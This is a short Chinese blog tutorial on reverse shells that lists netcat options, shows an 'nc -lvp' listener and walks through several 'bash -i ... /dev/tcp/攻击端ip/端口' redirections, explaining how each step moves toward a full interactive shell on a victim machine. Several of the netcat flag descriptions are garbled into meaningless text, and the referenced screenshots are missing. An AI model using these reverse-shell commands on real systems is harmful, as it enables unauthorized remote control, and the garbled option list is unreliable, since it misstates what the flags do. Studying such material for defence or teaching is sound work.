Shell反弹简介

nc命令:

  • nc可作为server实现任意TCP/UDP端口的侦听
  • 端口的扫描,nc可以作为client发起TCP或UDP连接
  • 可以进行机器之间传输文件
  • 能够对机器之间网络测速

nc命令常用参数:

  -g<网关> 设置好生日进程通信网关,最丢个。
  -G<设置可设置帮助8个>。-G<设置可设置帮助> 来源反射菜单器,其数值为4倍数。
  -h在线。
  -i<延迟在线。
  -l 使用监听模式,管控数据的数据,设置时间间隔,便于传送信息和扫描通信端口。
  -n 直接使用IP地址,而不是通过域名服务器。
  -o<输出文件>指定文件,把往来传输的数据以16进制字码倾倒成该文件保存。
  -p <通信端口>设置本地主机使用的通信端口。
  -r乱数指定本地与远端主机的通信端口。
  -s <来源位址> 设置本地主机出数据包的IP。
  -u 使用UDP传输协议。
  -v 指令执行过程。
  -w<超时发送秒数>
  -z 使用0输入/输出,只在扫描通信端口时模式使用。

常用设置监听语句:
nc -lvp [端口号]

解释:
-l 监听;-v 输出交互或出错信息;-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

常用反弹shell语句:
bash -i >& /dev/tcp/控制端ip/[端口号] 0>&1

攻击端:

受害端:

反弹shell语句:
1

bash -i > /dev/tcp/攻击端ip/[端口号]
#将受害端的标准输出重定向到攻击端,但是还没实现用命令控制受害端。
#受害端执行的命令能够在攻击端显示输出,但攻击端无法执行命令。

2

bash -i < /dev/tcp/攻击端ip/[端口号]
#将攻击端的输入重定向到受害端,但是攻击端看不到命令执行结果。
#攻击端能够执行命令,但攻击端不回显结果,执行命令与执行结果在受害端显示。

3

bash -i > /dev/tcp/攻击端ip/[端口号] 0>&1
#基本实现了反弹shell的功能。但是受害端的机器上依然回显了攻击者机器上执行的命令,且攻击端看不到错误命令的输出。
#攻击端执行 正确的 命令并显示命令执行结果,受害端会显示执行的命令,不显示结果。
#攻击端执行 错误的 命令,不会有报错信息回显。但受害端会回显错误信息。

4

bash -i &> /dev/tcp/攻击端ip/[端口号] 0>&1
bash -i > /dev/tcp/攻击端ip/[端口号] 0>&1 2>&1
#攻击端已获得受害端的远程交互式shell,而且受害端没有再回显攻击端输入的命令.
#攻击端能够执行命令并显示命令执行结果,受害端 不会 显示执行的命令与结果,如上图.
#将之前1 2 3测试结合,将标准输入、标准输出、错误输出全都重定向到攻击端.

受害端无任何回显:

攻击端显示执行命令与执行结果(包括报错信息):

posted @ 2021-07-24 21:15  努力的菜鸟Fang  阅读(292)  评论(0编辑  收藏  举报